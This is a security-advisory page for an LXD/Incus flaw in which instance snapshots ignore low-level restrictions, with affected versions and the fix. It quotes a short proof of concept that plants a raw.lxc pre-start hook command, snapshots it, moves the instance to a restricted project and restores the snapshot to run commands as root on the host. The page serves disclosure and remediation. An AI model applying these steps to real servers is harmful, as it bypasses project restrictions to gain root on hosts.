Read the docs
TI-2026-86121 Aliases GHSA-47w9-6r3f-938g

Restricted project bypass in LXD allows arbitrary command execution

Priority LOW 38CWE-862Published · Updated

Key facts

Attack vector
—
Privileges required
—
User interaction
—
Attack complexity
—
Impact type
Security bypass
Confidentiality · integrity · availability
—
Fix status
Fixed

No CVSS vector from any source. Fix status from GitHub. Impact type from CWE-862.

Summary

The Go package github.com/canonical/lxd before 0.0.0-20260630083100-c5184be310b1 ignores the restricted.containers.lowlevel=block setting for instance snapshots. This missing authorization flaw (CWE-862) lets a local user craft a malicious instance snapshot, move it to a restricted project, and restore it to run arbitrary commands on the host with root privileges.

Written with Claude Haiku 5.5 from the sources below · 2026-11-06

Description from the GitHub advisory

Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv ### Summary Instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`. ### Details Instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`. As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution. In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges. ### PoC ``` # remote, restricted incus project set rem:project restricted.true incus project set rem:project restricted.containers.lowlevel=block # locally, unrestricted project incus init images:debian/trixie rce-raw-lxc incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"' incus snapshot create rce-raw-lxc snap0 #> allow transfer to restricted project incus config unset rce-raw-lxc raw.lxc # locally, transfer and trigger incus move rce-raw-lxc rem: --mode push incus snapshot restore rem:rce-raw-lxc snap0 incus start rem:rce-raw-lxc ``` ### Impact - Bypass of project restrictions. - Arbitrary command execution on the Incus server.

Why it matters now

Fix Fixed github.com/canonical/lxd (Go): 0.0.0-20260630083100-c5184be310b1

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—github.com/canonical/lxd (Go)before 0.0.0-20260630083100-c5184be310b10.0.0-20260630083100-c5184be310b1Patch availableGHSA-47w9-6r3f-938g
  • github.com/canonical/lxd (Go) Vendor— Affected before 0.0.0-20260630083100-c5184be310b1 Fixed in 0.0.0-20260630083100-c5184be310b1 Patch available GHSA-47w9-6r3f-938g

Remediation

The fix is in github.com/canonical/lxd version 0.0.0-20260630083100-c5184be310b1.

Written with Claude Haiku 5.5 from the sources below · 2026-11-06

  • Fix · GHSA-47w9-6r3f-938g github.com/canonical/lxd (Go) Fixed in 0.0.0-20260630083100-c5184be310b1 Advisory →

Timeline

  1. 2026-11-06 Threatist record created from GHSA-47w9-6r3f-938g

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences